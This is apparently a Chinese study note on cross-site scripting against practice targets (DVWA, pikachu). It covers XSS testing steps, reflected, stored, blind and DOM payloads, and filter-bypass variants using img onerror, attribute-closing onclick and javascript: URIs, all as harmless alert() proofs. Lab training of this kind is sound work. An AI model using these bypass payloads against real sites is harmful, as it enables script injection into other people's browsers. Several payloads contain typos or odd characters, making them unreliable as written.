DVWA 站点攻击
kali 中 beef 的使用
pikachu站点
XSS攻击的一般步骤:
1、输入特殊字符
2、查看网页源代码
3、看是否存在过滤
4、有闭合标签、闭合属性;
类型
1、反射型
<p>payload</p>
payload:
<script>alert(/xss/)</script>
2、储存型
<p>payload</p>
payload:
<script>alert(/xss/)</script>
3、盲打
登录后台才能看到,在数据库中;
payload:
<script>alert(/xss/)</script>
4、过滤
<p>payload</p>,有过滤<script>标签;
payload:
<img src=x onerror='alert(/xss/)'>
5、Dom型XSS
<a href='payload'></a>
payload:
’ onclick=”alert(/xss/)”>
6、Dom型XSS-X(在url中可以看到)
<a href='payload'></a>
payload:
闭合属性:
’ onclick=”alert(/xss/)”>
闭合标签:
7、XSS - html
<a href='payload'></a> 有过滤字符;
payload:
' οnclick='alert(/xss/)'
8、XSS - href
<a href='payload'></a>
payload:
javascript:alert(111)//
9、XSS - js
payload:
tmac
总结
1、大致可分为:闭合标签、不闭合标签或者标签中间、标签内部;
普通类型:
<script>alert(/xss/)</script>
闭合标签:
' onclik='alert(/xss/)'
</script></script>alert(/xss/)</script>
不闭合标签:
javascript:alert(1)//
2、标签内无法镶嵌其它标签:
<textarea></textarea>
<style></style>
标签内无法执行脚本:
<title></title>
<textarea></textarea>
<iframe></iframe>
<noscript></noscript>noscript 元素用来定义在脚本未被执行时的替代内容(文本)。
<noframes></noframes>noframes 元素可为那些不支持框架的浏览器显示文本,noframes 元素位于 frameset 元素内部
<plaintext></plaintext>
3、输出在src/href/action等属性内,比如
<a href="[输出]">click me </a>
输出在on*事件内,比如<a href="#" onclick="[输出]">click me</a>
on*事件是可以执行javascript脚本的
4、
-----------------------------标签区别----------------------------------
①<script>alert(/xss/)</script>
②' onclik='alert(/xss/)'
③onmouseover=alert(1) x=
④<img src=x onerror='alert(/xss/)'>
第一个,不需要闭合,也不需要做任何过滤;
第二个,在 a 标签内部用,比如说过滤了“ 这种符号,就用;
第三个,onerror被过滤了,就可以用;
第四个,script标签被过滤,就用img;